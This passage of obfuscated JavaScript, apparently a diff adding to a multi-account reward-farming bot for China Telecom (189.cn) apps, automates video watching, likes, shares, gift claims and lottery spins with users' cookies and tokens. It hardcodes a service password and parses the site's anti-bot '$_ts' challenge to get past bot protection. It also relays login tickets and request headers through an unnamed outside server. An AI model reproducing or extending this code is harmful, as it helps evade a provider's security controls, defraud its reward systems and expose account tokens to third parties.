this.request(_0x36f81f), + _0x54187e = _0x1a907b.get(_0x32f975, "code", -1); + if (_0x54187e == 0) this.log("观看直播[" + _0x37f1a7 + "功成]".split("").reverse().join("")), await this.watchLiveInit();else { + let _0x5945ed = _0x32f975?.["msg"] || _0x32f975?.["gsMtluoser".split("").reverse().join("")] || _0x32f975?.["rorre".split("").reverse().join("")] || _0x32f975?.["gsm".split("").reverse().join("")] || ""; + this.log("观看直播[" + _0x37f1a7 + "[败失]".split("").reverse().join("") + _0x54187e + "]: " + _0x5945ed); + } + } + } catch (_0x59b019) { + console.log(_0x59b019); + } + } + async ["watchVideo"](_0x2e6ab4, _0x1a0ab9 = {}) { + let _0x3016fd = this.rsCkk, + _0x11fdbc = this.getrsCk; + _0x11fdbc = this.rsFun().getck(); + _0x3016fd = await this.parseCookies(_0x11fdbc, _0x3016fd); + try { + const _0x4533d5 = { + "articleId": _0x2e6ab4 + }, + _0x2c788c = { + "ckvalue": _0x3016fd, + "fn": "watchVideo", + "method": "post", + "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo", + "json": _0x4533d5 + }; + let { + "result": _0x19a463, + "statusCode": _0xc3f51e + } = await this.request(_0x2c788c), + _0x58b0b8 = _0x1a907b.get(_0x19a463, "edoc".split("").reverse().join(""), -1); + if (_0x58b0b8 == 0) this.log("观看短视频[" + _0x2e6ab4 + "]成功");else { + { + let _0x2d4f03 = _0x19a463?.["msg"] || _0x19a463?.["resoultMsg"] || _0x19a463?.["error"] || _0x19a463?.["msg"] || ""; + this.log("观看短视频[" + _0x2e6ab4 + "]失败[" + _0x58b0b8 + "]: " + _0x2d4f03); + } + } + } catch (_0x4b6e2e) { + console.log(_0x4b6e2e); + } + } + async ["like"](_0x29115e, _0x2a697c = {}) { + let _0x318fce = this.rsCkk, + _0x205955 = this.getrsCk; + _0x205955 = this.rsFun().getck(); + _0x318fce = await this.parseCookies(_0x205955, _0x318fce); + try { + { + const _0x8606f5 = { + "account": this.name, + "liveId": _0x29115e + }, + _0x1dacfc = { + "ckvalue": _0x318fce, + "fn": "like", + "method": "post", + "url": "https://xbk.189.cn/xbkapi/lteration/room/like", + "json": _0x8606f5 + }; + let { + "result": _0x22c771, + "statusCode": _0x562c24 + } = await this.request(_0x1dacfc), + _0x2e47a1 = _0x1a907b.get(_0x22c771, "edoc".split("").reverse().join(""), -1); + if (_0x2e47a1 == 0) { + this.log("[间播直赞点".split("").reverse().join("") + _0x29115e + "]成功"); + } else { + { + let _0x5b1fb2 = _0x22c771?.["msg"] || _0x22c771?.["gsMtluoser".split("").reverse().join("")] || _0x22c771?.["rorre".split("").reverse().join("")] || _0x22c771?.["msg"] || ""; + this.log("[间播直赞点".split("").reverse().join("") + _0x29115e + "[败失]".split("").reverse().join("") + _0x2e47a1 + "]: " + _0x5b1fb2); + } + } + } + } catch (_0x51f02a) { + console.log(_0x51f02a); + } + } + async ["sharingGetGold"](_0x280742 = {}) { + let _0xdd9b48 = this.rsCkk, + _0x2c29e0 = this.getrsCk; + _0x2c29e0 = this.rsFun().getck(); + _0xdd9b48 = await this.parseCookies(_0x2c29e0, _0xdd9b48); + try { + let _0x2148d2 = { + "ckvalue": _0xdd9b48, + "fn": "sharingGetGold", + "method": "post", + "url": "https://appfuwu.189.cn:9021/query/sharingGetGold", + "json": { + "headerInfos": { + "code": "sharingGetGold", + "timestamp": _0x1a907b.time("yyyyMMddhhmmss"), + "broadAccount": "", + "broadToken": "", + "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", + "shopId": "20002", + "source": "110003", + "sourcePassword": "Sid98s", + "token": this.token, + "userLoginName": this.name + }, + "content": { + "attach": "test", + "fieldData": { + "shareSource": "3", + "userId": this.userId, + "account": this.encode_phone() + } + } + } + }, + { + "result": _0x5691a6, + "statusCode": _0x3d9213 + } = await this.request(_0x2148d2), + _0x7781f1 = _0x1a907b.get(_0x5691a6?.["responseData"], "resultCode", -1); + if (_0x7781f1 == "0000") this.log("功成享分".split("").reverse().join(""));else { + { + let _0x788cc4 = _0x5691a6?.["msg"] || _0x5691a6?.["ataDesnopser".split("").reverse().join("")]?.["resultDesc"] || _0x5691a6?.["rorre".split("").reverse().join("")] || _0x5691a6?.["gsm".split("").reverse().join("")] || ""; + this.log("分享失败[" + _0x7781f1 + " :]".split("").reverse().join("") + _0x788cc4); + } + } + } catch (_0x24702a) { + console.log(_0x24702a); + } + } + async ["month_jml_login"](_0x3495c5 = {}) { + let _0x46dace = this.rsCkk, + _0x18399d = this.getrsCk; + _0x18399d = this.rsFun().getck(); + _0x46dace = await this.parseCookies(_0x18399d, _0x46dace); + try { + const _0x519f42 = { + "ticket": this.ticket + }; + let _0x2c5273 = { + "ckvalue": _0x46dace, + "fn": "month_jml_login", + "method": "get", + "url": "https://wappark.189.cn/jt-sign/ssoHomLoginCommon", + "searchParams": _0x519f42 + }, + { + "result": _0x80b0ed, + "statusCode": _0x41466b + } = await this.request(_0x2c5273), + _0x330b93 = _0x1a907b.get(_0x80b0ed, "resoultCode", _0x41466b); + if (_0x330b93 == 0) { + this.log("城翼yb-功成录登礼面见".split("").reverse().join("")); + let _0x3795bd = _0x1a907b.get(_0x80b0ed, "resoultMsg") || "功成录登".split("").reverse().join(""); + await this.month_jml_getInfo(_0x3795bd); + await this.month_jml_check(_0x1a907b.get(_0x80b0ed, "dIcca".split("").reverse().join(""))); + await this.month_jml_getCount(_0x1a907b.get(_0x80b0ed, "dIcca".split("").reverse().join(""))); + await this.month_jml_refresh(_0x1a907b.get(_0x80b0ed, "accId")); + await this.month_jml_lotteryrefresh(_0x1a907b.get(_0x80b0ed, "accId")); + } else { + let _0x47eb8d = _0x80b0ed?.["gsm".split("").reverse().join("")] || _0x80b0ed?.["resoultMsg"] || _0x80b0ed?.["rorre".split("").reverse().join("")] || ""; + this.log("[败失录登礼面见月每".split("").reverse().join("") + _0x330b93 + " :]".split("").reverse().join("") + _0x47eb8d); + } + } catch (_0x35a93f) { + console.log(_0x35a93f); + } + } + async ["month_jml_check"](_0x3a5e59, _0x510f6e = {}) { + var _0xf8c9ae = 14; + let _0x5dfb2f = this.rsCkk; + _0xf8c9ae = 7; + var _0x30620e = 5; + let _0x61990b = this.getrsCk; + _0x30620e = "bnbbpq"; + _0x61990b = this.rsFun().getck(); + _0x5dfb2f = await this.parseCookies(_0x61990b, _0x5dfb2f); + try { + const _0x310acd = { + "phone": _0x3a5e59 + }; + let _0xcdcff2 = { + "ckvalue": _0x5dfb2f, + "fn": "month_jml_check", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/welfare/check", + "json": { + "para": this.encrypt_para(_0x310acd) + } + }, + { + "result": _0x5a7a54, + "statusCode": _0x4eae22 + } = await this.request(_0xcdcff2), + _0x4206ab = _0x1a907b.get(_0x5a7a54, "resoultCode", _0x4eae22); + if (_0x4206ab == 0) this.jml_tokenFlag = _0x5a7a54?.["atad".split("").reverse().join("")]?.["flag"], this.log("见面礼 " + _0x5a7a54.resoultMsg), await this.month_jml_receive(_0x3a5e59);else { + let _0xba31ac = _0x5a7a54?.["msg"] || _0x5a7a54?.["resoultMsg"] || _0x5a7a54?.["rorre".split("").reverse().join("")] || ""; + this.jml_tokenFlag = _0x5a7a54?.["data"]?.["galf".split("").reverse().join("")]; + this.log("领取每月见面礼失败[" + _0x4206ab + "]: " + _0xba31ac); + } + } catch (_0x11f235) { + console.log(_0x11f235); + } + } + async ["month_jml_getInfo"](_0x7f140, _0x2054b3 = {}) { + { + let _0x34b567 = this.rsCkk, + _0x238dbd = this.getrsCk; + _0x238dbd = this.rsFun().getck(); + _0x34b567 = await this.parseCookies(_0x238dbd, _0x34b567); + try { + const _0x38a988 = { + "configCode": "nxflb" + }; + let _0x43f2bf = { + "ckvalue": _0x34b567, + "fn": "month_jml_getInfo", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/welfare/getInfo", + "json": { + "para": this.encrypt_para(_0x38a988) + } + }, + { + "result": _0x3e535f, + "statusCode": _0x1aef69 + } = await this.request(_0x43f2bf), + _0x15cf8a = _0x1a907b.get(_0x3e535f, "resoultCode", _0x1aef69); + if (_0x15cf8a == 0) { + let _0x5160ca = _0x3e535f.data.map(_0x3a8d8a => _0x3a8d8a.title) || []; + this.jml_tokenFlag = _0x3e535f?.["data"]?.["flag"]; + this.log("见面礼" + _0x7f140 + ": " + _0x5160ca.join(" ,".split("").reverse().join(""))); + } else { + let _0x1dd2e9 = _0x3e535f?.["gsm".split("").reverse().join("")] || _0x3e535f?.["gsMtluoser".split("").reverse().join("")] || _0x3e535f?.["error"] || ""; + this.log("领取每月见面礼失败[" + _0x15cf8a + " :]".split("").reverse().join("") + _0x1dd2e9); + } + } catch (_0x4a8bf0) { + console.log(_0x4a8bf0); + } + } + } + async ["month_jml_receive"](_0x41871e, _0x33741d = {}) { + var _0x3b5bbf = 6; + let _0x28d366 = this.rsCkk; + _0x3b5bbf = 6; + let _0x41751d = this.getrsCk; + _0x41751d = this.rsFun().getck(); + _0x28d366 = await this.parseCookies(_0x41751d, _0x28d366); + try { + { + const _0x238b48 = { + "phone": _0x41871e, + "flag": this.jml_tokenFlag + }; + let _0x337c6f = { + "ckvalue": _0x28d366, + "fn": "month_jml_receive", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/welfare/receive", + "json": { + "para": this.encrypt_para(_0x238b48) + } + }, + { + "result": _0x44ffb4, + "statusCode": _0x35e0ee + } = await this.request(_0x337c6f), + _0x85b1d5 = _0x1a907b.get(_0x44ffb4, "resoultCode", -1); + if (_0x85b1d5 == 0) this.log("见面礼:" + _0x44ffb4?.["resoultMsg"]);else { + { + let _0x343ed1 = _0x44ffb4?.["msg"] || _0x44ffb4?.["resoultMsg"] || _0x44ffb4?.["error"] || ""; + this.log("领取APP抽奖次数失败[" + _0x85b1d5 + "]: " + _0x343ed1); + } + } + } + } catch (_0x364a95) { + console.log(_0x364a95); + } + } + async ["month_jml_getCount"](_0x3a8f24, _0x200ed1 = {}) { + { + let _0x5ea68f, + _0x4c2ebd = this.rsCkk; + _0x5ea68f = "iefjco".split("").reverse().join(""); + var _0x62fb17 = 11; + let _0x24f64b = this.getrsCk; + _0x62fb17 = 7; + _0x24f64b = this.rsFun().getck(); + _0x4c2ebd = await this.parseCookies(_0x24f64b, _0x4c2ebd); + try { + const _0x5c0fc1 = { + "phone": _0x3a8f24, + "flag": this.jml_tokenFlag + }; + let _0x4a22b5 = { + "ckvalue": _0x4c2ebd, + "fn": "month_jml_getCount", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/lottery/getCount", + "json": { + "para": this.encrypt_para(_0x5c0fc1) + } + }, + { + "result": _0x4b70e4, + "statusCode": _0x1e351 + } = await this.request(_0x4a22b5), + _0x25282e = _0x1a907b.get(_0x4b70e4, "edoc".split("").reverse().join(""), -1); + if (_0x25282e == 0) { + { + let _0x123ff0 = _0x4b70e4?.["video"]?.["pam".split("").reverse().join("")](_0x21e024 => _0x21e024.videoType) || [], + _0x136cfa = _0x59860f.filter(_0x10009e => !_0x123ff0.includes(_0x10009e)), + _0x172d12 = false; + for (let _0x165bd4 of _0x136cfa) { + { + if (_0x172d12) { + let _0x391f3e = Math.floor(Math.random() * 5000) + 5000; + await _0x1a907b.wait(_0x391f3e); + } + await this.month_jml_addVideoCount(_0x3a8f24, _0x165bd4); + _0x172d12 = true; + } + } + } + } else { + let _0x1ccd7a = _0x4b70e4?.["msg"] || _0x4b70e4?.["gsMtluoser".split("").reverse().join("")] || _0x4b70e4?.["error"] || ""; + this.log("[败失数次会机奖抽得频视看询查".split("").reverse().join("") + _0x25282e + " :]".split("").reverse().join("") + _0x1ccd7a); + } + } catch (_0x1a8397) { + console.log(_0x1a8397); + } + } + } + async ["month_jml_addVideoCount"](_0x3588dd, _0x2e8637, _0x43a1b7 = {}) { + let _0xa50529 = this.rsCkk; + var _0x43c847 = 11; + let _0x4338c1 = this.getrsCk; + _0x43c847 = 1; + _0x4338c1 = this.rsFun().getck(); + _0xa50529 = await this.parseCookies(_0x4338c1, _0xa50529); + try { + const _0x17baec = { + "phone": _0x3588dd, + "videoType": _0x2e8637, + "flag": this.jml_tokenFlag + }; + let _0x48ea21 = { + "ckvalue": _0xa50529, + "fn": "month_jml_addVideoCount", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/lottery/addVideoCount", + "json": { + "para": this.encrypt_para(_0x17baec) + } + }, + { + "result": _0x25ea16, + "statusCode": _0x2ee8b8 + } = await this.request(_0x48ea21), + _0x3c6225 = _0x1a907b.get(_0x25ea16, "edoc".split("").reverse().join(""), -1); + if (_0x3c6225 == 0) this.log("[频视看".split("").reverse().join("") + _0x2e8637 + "]得抽奖机会成功");else { + { + let _0x34bda3 = _0x25ea16?.["gsm".split("").reverse().join("")] || _0x25ea16?.["gsMtluoser".split("").reverse().join("")] || _0x25ea16?.["error"] || ""; + this.log("[频视看".split("").reverse().join("") + _0x2e8637 + "[败失会机奖抽得]".split("").reverse().join("") + _0x3c6225 + "]: " + _0x34bda3); + } + } + } catch (_0x1b6d99) { + console.log(_0x1b6d99); + } + } + async ["month_jml_refresh"](_0x336f0c, _0x4fea48 = {}) { + let _0x25b074, + _0x587292 = this.rsCkk; + _0x25b074 = 12; + let _0x14fe49 = this.getrsCk; + _0x14fe49 = this.rsFun().getck(); + _0x587292 = await this.parseCookies(_0x14fe49, _0x587292); + try { + const _0x2d9be4 = { + "phone": _0x336f0c + }; + let _0x4cb729 = { + "ckvalue": _0x587292, + "fn": "month_jml_refresh", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/welfare/receiveInfo", + "json": { + "para": this.encrypt_para(_0x2d9be4) + } + }, + { + "result": _0x1bde01, + "statusCode": _0x4a7ac8 + } = await this.request(_0x4cb729), + _0xe586bc = _0x1a907b.get(_0x1bde01, "resoultCode", -1); + if (_0xe586bc == "0") this.log("见面礼包领取到:" + _0x1bde01.data.map(_0xd849f5 => _0xd849f5.prizeName) || []);else { + let _0xa3cff = _0x1bde01?.["msg"] || _0x1bde01?.["resoultMsg"] || _0x1bde01?.["error"] || ""; + this.log("查询抽奖次数失败[" + _0xe586bc + "]: " + _0xa3cff); + } + } catch (_0x13cced) { + console.log(_0x13cced); + } + } + async ["month_jml_lotteryRevice"](_0x90043e, _0x50d070 = {}) { + { + var _0x238e72 = 6; + let _0x48a96e = this.rsCkk; + _0x238e72 = 10; + let _0x23bb35 = this.getrsCk; + _0x23bb35 = this.rsFun().getck(); + _0x48a96e = await this.parseCookies(_0x23bb35, _0x48a96e); + try { + const _0x21bcee = { + "phone": _0x90043e, + "flag": this.jml_tokenFlag + }; + let _0x102aed = { + "ckvalue": _0x48a96e, + "fn": "month_jml_lotteryRevice", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/lottery/lotteryRevice", + "json": { + "para": this.encrypt_para(_0x21bcee) + } + }, + { + "result": _0x3b42ac, + "statusCode": _0x16206b + } = await this.request(_0x102aed), + _0x2fade7 = _0x1a907b.get(_0x3b42ac, "edoc".split("").reverse().join(""), -1); + if (_0x2fade7 == 0) { + let { + "rname": _0xc04c84, + "id": _0xd95992 + } = _0x3b42ac; + const _0x5cefa0 = { + "notify": true + }; + this.log("app抽奖: " + _0xc04c84, _0x5cefa0); + } else { + { + let _0x48f7d0 = _0x3b42ac?.["msg"] || _0x3b42ac?.["resoultMsg"] || _0x3b42ac?.["error"] || ""; + this.log("[奖抽ppa".split("").reverse().join("") + _0x2fade7 + " :]".split("").reverse().join("") + _0x48f7d0); + } + } + } catch (_0x2873f8) { + console.log(_0x2873f8); + } + } + } + async ["month_jml_lotteryrefresh"](_0xd47f09, _0x45de11 = {}) { + var _0x127c16 = 5; + let _0x261187 = this.rsCkk; + _0x127c16 = 16; + let _0xc13f02 = this.getrsCk; + _0xc13f02 = this.rsFun().getck(); + _0x261187 = await this.parseCookies(_0xc13f02, _0x261187); + try { + { + const _0x30527d = { + "phone": _0xd47f09, + "flag": this.jml_tokenFlag + }; + let _0x450457 = { + "ckvalue": _0x261187, + "fn": "month_jml_refresh", + "method": "post", + "url": "https://wappark.189.cn/jt-sign/lottery/refresh", + "json": { + "para": this.encrypt_para(_0x30527d) + } + }, + { + "result": _0x4f5aa0, + "statusCode": _0x201c76 + } = await this.request(_0x450457), + _0x46deea = _0x1a907b.get(_0x4f5aa0, "resoultCode", -1); + if (_0x46deea == -1 || _0x46deea == "1-".split("").reverse().join("")) { + let _0x563c6a = _0x4f5aa0?.["rNumber"] || 0; + this.log("可以抽奖" + _0x563c6a + "次"); + let _0x384df8 = false; + while (_0x563c6a-- > 0) { + if (_0x384df8) { + let _0x145134 = Math.floor(Math.random() * 5000) + 3000; + await _0x1a907b.wait(_0x145134); + } + await this.month_jml_lotteryRevice(_0xd47f09); + _0x384df8 = true; + } + } else { + let _0x5a93ca = _0x4f5aa0?.["msg"] || _0x4f5aa0?.["resoultMsg"] || _0x4f5aa0?.["error"] || ""; + this.log("[败失数次奖抽询查".split("").reverse().join("") + _0x46deea + "]: " + _0x5a93ca); + } + } + } catch (_0x2b29df) { + console.log(_0x2b29df); + } + } + async ["rpc_request"](_0x57a466, _0x4a841c = "teg".split("").reverse().join(""), _0x14f9f0 = null) { + const _0xe2ea84 = new Error(), + _0x2637e9 = _0xe2ea84.stack, + _0x232c77 = _0x2637e9.split("\n"), + _0x476021 = _0x232c77?.[2]?.["match"](new RegExp(")+w\\(.\\ssalCresU".split("").reverse().join(""), ""))?.[1] || "cpr".split("").reverse().join(""); + let _0x108fff = { + "fn": _0x476021, + "method": "post", + "url": _0x51e8a6, + "json": { + "key": _0x4b73f5, + "method": _0x4a841c, + "url": _0x57a466.toString(), + "headers": this.get_mall_headers(), + "data": JSON.stringify(_0x14f9f0) + } + }; + return await this.request(_0x108fff); + } + async ["auth_login"](_0x305c76 = {}) { + let _0x29ab06 = false; + try { + let _0x20e5e5 = this.ticket, + _0x9c040f = new URL("https://wapact.189.cn:9001/unified/user/login"), + _0x471647 = { + "ticket": _0x20e5e5, + "backUrl": encodeURIComponent("https://wapact.189.cn:9001/JinDouMall/JinDouMall_luckDraw.html?ticket=" + _0x20e5e5), + "platformCode": "P201010301", + "loginType": 2 + }, + { + "result": _0x318649, + "statusCode": _0x427b0a + } = await this.rpc_request(_0x9c040f, "TSOP".split("").reverse().join(""), _0x471647), + _0x3bb842 = _0x1a907b.get(_0x318649, "edoc".split("").reverse().join(""), _0x427b0a); + if (_0x3bb842 == 0) { + let { + "token": _0x1c90d7, + "sessionId": _0x34a1ea + } = _0x318649?.["biz"]; + this.mall_token = _0x1c90d7; + _0x29ab06 = true; + } else { + { + let _0x33543a = _0x1a907b.get(_0x318649, "message", ""); + this.log("[败失录登城商".split("").reverse().join("") + _0x3bb842 + "]: " + _0x33543a); + } + } + } catch (_0x22ecd6) { + console.log(_0x22ecd6); + } finally { + return _0x29ab06; + } + } + async ["queryInfo"](_0x5196aa = {}) { + let _0x540aa = this.rsCkk, + _0x177e1 = this.getrsCk; + _0x177e1 = this.rsFun().getck(); + _0x540aa = await this.parseCookies(_0x177e1, _0x540aa); + try { + { + let _0x244386 = new URL("ofnIyreuq/ipa/nedlog/yawetag/1009:nc.981.tcapaw//:sptth".split("").reverse().join("")); + _0x244386.searchParams.append("_", Date.now().toString()); + let { + "result": _0x1609b1, + "statusCode": _0x31ebe5 + } = await this.rpc_request(_0x244386), + _0x3fcf26 = _0x1a907b.get(_0x1609b1, "code", _0x31ebe5); + if (_0x3fcf26 == 0) this.coin = _0x1609b1?.["biz"]?.["latoTtnuoma".split("").reverse().join("")] || this.coin, await this.queryTurnTable();else { + let _0x460eec = _0x1a907b.get(_0x1609b1, "egassem".split("").reverse().join(""), ""); + this.log("[败失态状城商询查".split("").reverse().join("") + _0x3fcf26 + " :]".split("").reverse().join("") + _0x460eec); + } + } + } catch (_0x10a6a1) { + console.log(_0x10a6a1); + } + } + async ["queryTurnTable"](_0x13e9b2 = {}) { + try { + { + let _0x207904 = new URL("https://wapact.189.cn:9001/gateway/golden/api/queryTurnTable"); + _0x207904.searchParams.append("epyTresu".split("").reverse().join(""), "1"); + _0x207904.searchParams.append("_", Date.now().toString()); + let { + "result": _0x418797, + "statusCode": _0x33f510 + } = await this.rpc_request(_0x207904), + _0x234989 = _0x1a907b.get(_0x418797, "code", _0x33f510); + if (_0x234989 == 0) { + { + let _0x2478c7 = _0x418797?.["zib".split("").reverse().join("")]?.["tnuoCoaHoaix".split("").reverse().join("")] || 20, + _0x3d2007 = _0x418797?.["biz"]?.["wzTurntable"]?.["code"] || ""; + _0x3d2007 ? await this.lottery_check(_0x3d2007, _0x2478c7) : this.log("DI奖抽盘转到取获有没".split("").reverse().join("")); + } + } else { + let _0x441c18 = _0x1a907b.get(_0x418797, "message", ""); + this.log("获取转盘抽奖活动失败[" + _0x234989 + "]: " + _0x441c18); + } + } + } catch (_0x53d3e6) { + console.log(_0x53d3e6); + } + } + async ["lottery_check"](_0x5144b5, _0x239f8b, _0x27fbba = {}) { + try { + let _0x52b610 = new URL("kcehc/liated/dnats/yawetag/1009:nc.981.tcapaw//:sptth".split("").reverse().join("")); + _0x52b610.searchParams.append("activityId", _0x5144b5); + _0x52b610.searchParams.append("_", Date.now().toString()); + let { + "result": _0x9a83dd, + "statusCode": _0x5333c5 + } = await this.rpc_request(_0x52b610), + _0x3a983d = _0x1a907b.get(_0x9a83dd, "edoc".split("").reverse().join(""), _0x5333c5); + if (_0x3a983d == 0) { + let _0x4c2b07 = _0x9a83dd?.["zib".split("").reverse().join("")]?.["ofnItluser".split("").reverse().join("")]?.["chanceCount"] || 0; + this.log("转盘可以抽奖" + _0x4c2b07 + "次, 消耗金豆" + _0x239f8b + "/" + this.coin); + let _0x2dfc6f = false; + while (_0x4c2b07-- > 0 && this.coin >= _0x239f8b) { + _0x2dfc6f && (await _0x1a907b.wait(3000)); + _0x2dfc6f = true; + await this.lottery_do(_0x5144b5, _0x239f8b); + } + } else { + { + let _0x5ce2c1 = _0x1a907b.get(_0x9a83dd, "message", ""); + this.log("[败失数次奖抽盘转询查".split("").reverse().join("") + _0x3a983d + " :]".split("").reverse().join("") + _0x5ce2c1); + } + } + } catch (_0x3d0a2c) { + console.log(_0x3d0a2c); + } + } + async ["lottery_do"](_0xf447fc, _0x2d0b83 = {}) { + try { + { + let _0x28e248 = new URL("https://wapact.189.cn:9001/gateway/golden/api/lottery"); + const _0x594e1d = { + "activityId": _0xf447fc + }; + let { + "result": _0x29a9e6, + "statusCode": _0x41c5a5 + } = await this.rpc_request(_0x28e248, "POST", _0x594e1d), + _0xefa201 = _0x1a907b.get(_0x29a9e6, "code", _0x41c5a5); + if (_0xefa201 == 0) { + { + this.coin = _0x29a9e6?.["zib".split("").reverse().join("")]?.["amountTotal"] || this.coin - xiaoHaoCount; + let _0x2a89e2 = _0x29a9e6?.["biz"]?.["resultCode"], + _0x873825 = ""; + switch (_0x2a89e2) { + case "0": + { + let _0x3d49ea = _0x29a9e6?.["biz"]?.["resultInfo"]?.["eltiTniw".split("").reverse().join("")] || "空气"; + const _0x3da76d = { + "notify": true + }; + this.log("转盘抽奖: " + _0x3d49ea, _0x3da76d); + return; + } + case "412": + { + _0x873825 = "抽奖次数已达上限"; + break; + } + case "413": + case "420": + { + _0x873825 = "金豆不足"; + break; + } + default: + { + { + this.log(": " + JSON.stringify(_0x29a9e6)); + _0x873825 = "未知原因"; + break; + } + } + } + this.log("转盘抽奖失败[" + _0x2a89e2 + "]: " + _0x873825); + } + } else { + let _0x323f95 = _0x1a907b.get(_0x29a9e6, "message", ""); + this.log("[误错奖抽盘转".split("").reverse().join("") + _0xefa201 + " :]".split("").reverse().join("") + _0x323f95); + } + } + } catch (_0x1a5486) { + console.log(_0x1a5486); + } + } + async ["userTask"]() { + console.time("[号账".split("").reverse().join("") + this.index + "]" + "耗时"); + const _0x331d29 = { + "notify": true + }; + let _0x4cf85d, + _0x1e8b64 = this.name; + _0x4cf85d = "ocmgng"; + _0x1a907b.log("\n======= 账号[" + this.index + "[]".split("").reverse().join("") + _0x1e8b64.slice(0, 3) + "****".split("").reverse().join("") + _0x1e8b64.slice(-4) + "] =======", _0x331d29); + if (!this.load_token() && !(await this.login())) { + return; + } + if (!(await this.get_ticket())) return; + await this.get_sign(); + await this.get_ticket(); + await this.userCoinInfo(); + await this.getLevelRightsList(); + await this.month_jml_login(); + await this.userStatusInfo(); + await this.continueSignRecords(); + await this.homepage("djzwrz_dq_gh".split("").reverse().join("")); + await this.getParadiseInfo(); + _0x51e8a6 && (await this.userLotteryTask()); + await this.userCoinInfo(true); + await _0x1a907b.wait(3000); + console.timeEnd("账号[" + this.index + "]" + "时耗".split("").reverse().join("")); + } + async ["userLotteryTask"]() { + if (!(await this.auth_login())) return; + await this.queryInfo(); + } + } + !(async () => { + { + _0x1a907b.read_env(_0x173a90); + _0x5c3daa(); + for (let _0x14b12a of _0x1a907b.userList) { + await _0x14b12a.userTask(); + } + } + })().catch(_0x1b56c2 => _0x1a907b.log(_0x1b56c2)).finally(() => _0x1a907b.exitNow()); + async function _0x42f36f(_0x3c60e7 = 0) { + { + let _0x27f4b7 = []; + try { + const _0x208967 = { + "fn": "auth", + "method": "get", + "url": _0x14c4e5, + "timeout": 20000 + }; + let { + "statusCode": _0x5cd022, + "result": _0x198999 + } = await _0x42ec34.request(_0x208967); + if (_0x5cd022 != 200) return _0x3c60e7++ < _0x503087 && (_0x27f4b7 = await _0x42f36f(_0x3c60e7)), _0x27f4b7; + if (_0x198999?.["edoc".split("").reverse().join("")] == 0) { + _0x198999 = JSON.parse(_0x198999.data.file.data); + if (_0x198999?.["commonNotify"] && _0x198999.commonNotify.length > 0) { + const _0x395fa2 = { + "notify": true + }; + _0x1a907b.log(_0x198999.commonNotify.join("\n") + "\n", _0x395fa2); + } + _0x198999?.["gsMnommoc".split("").reverse().join("")] && _0x198999.commonMsg.length > 0 && _0x1a907b.log(_0x198999.commonMsg.join("\n") + "\n"); + if (_0x198999[_0x26154c]) { + { + let _0x18f4fa = _0x198999[_0x26154c]; + _0x18f4fa.status == 0 ? _0x2a1f65 >= _0x18f4fa.version ? (_0x27f4b7 = true, _0x1a907b.log(_0x18f4fa.msg[_0x18f4fa.status]), _0x1a907b.log(_0x18f4fa.updateMsg), _0x1a907b.log(":是本版本脚的行运在现".split("").reverse().join("") + _0x2a1f65 + ",最新脚本版本:" + _0x18f4fa.latestVersion)) : _0x1a907b.log(_0x18f4fa.versionMsg) : _0x1a907b.log(_0x18f4fa.msg[_0x18f4fa.status]); + } + } else { + _0x1a907b.log(_0x198999.errorMsg); + } + } else _0x3c60e7++ < _0x503087 && (_0x27f4b7 = await _0x42f36f(_0x3c60e7)); + } catch (_0xb3a78e) { + _0x1a907b.log(_0xb3a78e); + } finally { + return _0x27f4b7; + } + } + } + function _0xf189dd(_0x58fdd8) { + return new class { + constructor(_0x35e98f) { + { + this.name = _0x35e98f; + this.startTime = Date.now(); + const _0x2f9e2a = { + "time": true + }; + this.log("[" + this.name + "]开始运行\n", _0x2f9e2a); + this.notifyStr = []; + this.notifyFlag = true; + this.userIdx = 0; + this.userList = []; + this.userCount = 0; + this.default_timestamp_len = 13; + this.default_wait_interval = 1000; + this.default_wait_limit = 3600000; + this.default_wait_ahead = 0; + } + } + ["log"](_0x3a25ce, _0x250d9c = {}) { + const _0x53456a = { + "console": true + }; + Object.assign(_0x53456a, _0x250d9c); + if (_0x53456a.time) { + { + let _0x52a2dc = _0x53456a.fmt || "ss:mm:hh".split("").reverse().join(""); + _0x3a25ce = "[" + this.time(_0x52a2dc) + "]" + _0x3a25ce; + } + } + if (_0x53456a.notify) { + this.notifyStr.push(_0x3a25ce); + } + _0x53456a.console && console.log(_0x3a25ce); + } + ["get"](_0x175a36, _0x26ff7a, _0x222b0e = "") { + { + let _0x745ed7 = _0x222b0e; + if (_0x745ed7 === 412) { + let _0x51e64 = _0x3b0b0e.parseFromString(_0x175a36, "lmx/noitacilppa".split("").reverse().join("")); + _0x51e64 == undefined && (_0x51e64 = _0x3b0b0e.parseFromString(_0x175a36.response.body, "application/xml")); + var _0x2ea96e = 15; + const _0x1ab896 = _0x51e64.getElementsByTagName("meta")[1]?.["getAttribute"]("tnetnoc".split("").reverse().join("")); + _0x2ea96e = 5; + const _0x12706b = _0x51e64.getElementsByTagName("meta")[1]?.["getAttribute"]("id"), + _0x33d574 = _0x51e64.getElementsByTagName("script"); + var _0x283812 = 15; + const _0x1c9de1 = Array.from(_0x33d574).find(_0x6c5341 => { + var _0x28f145 = 10; + const _0x5f1bb6 = _0x6c5341.textContent || _0x6c5341.text; + _0x28f145 = 5; + return _0x5f1bb6.includes("$_ts=window['$_ts']"); + }); + _0x283812 = "lkfdbl".split("").reverse().join(""); + const _0x3b5a1a = Array.from(_0x33d574).find(_0x51d827 => _0x51d827.getAttribute("crs".split("").reverse().join(""))); + if (_0x1c9de1 && _0x3b5a1a) { + let _0x97e26d; + const _0x484c30 = _0x1c9de1.textContent || _0x1c9de1.text; + _0x97e26d = 4; + const _0x520857 = _0x3b5a1a.getAttribute("crs".split("").reverse().join("")); + return { + "contentCODE": _0x1ab896, + "tsCODE": _0x484c30, + "srcAttribute": _0x520857, + "tsID": _0x12706b + }; + } + return { + "contentCODE": null, + "tsCODE": null, + "srcAttribute": null + }; + } + _0x175a36?.["hasOwnProperty"](_0x26ff7a) && (_0x745ed7 = _0x175a36[_0x26ff7a]); + return _0x745ed7; + } + } + ["pop"](_0x4ce15d, _0x2120b0, _0x272aea = "") { + { + let _0x3af129 = _0x272aea; + _0x4ce15d?.["ytreporPnwOsah".split("").reverse().join("")](_0x2120b0) && (_0x3af129 = _0x4ce15d[_0x2120b0], delete 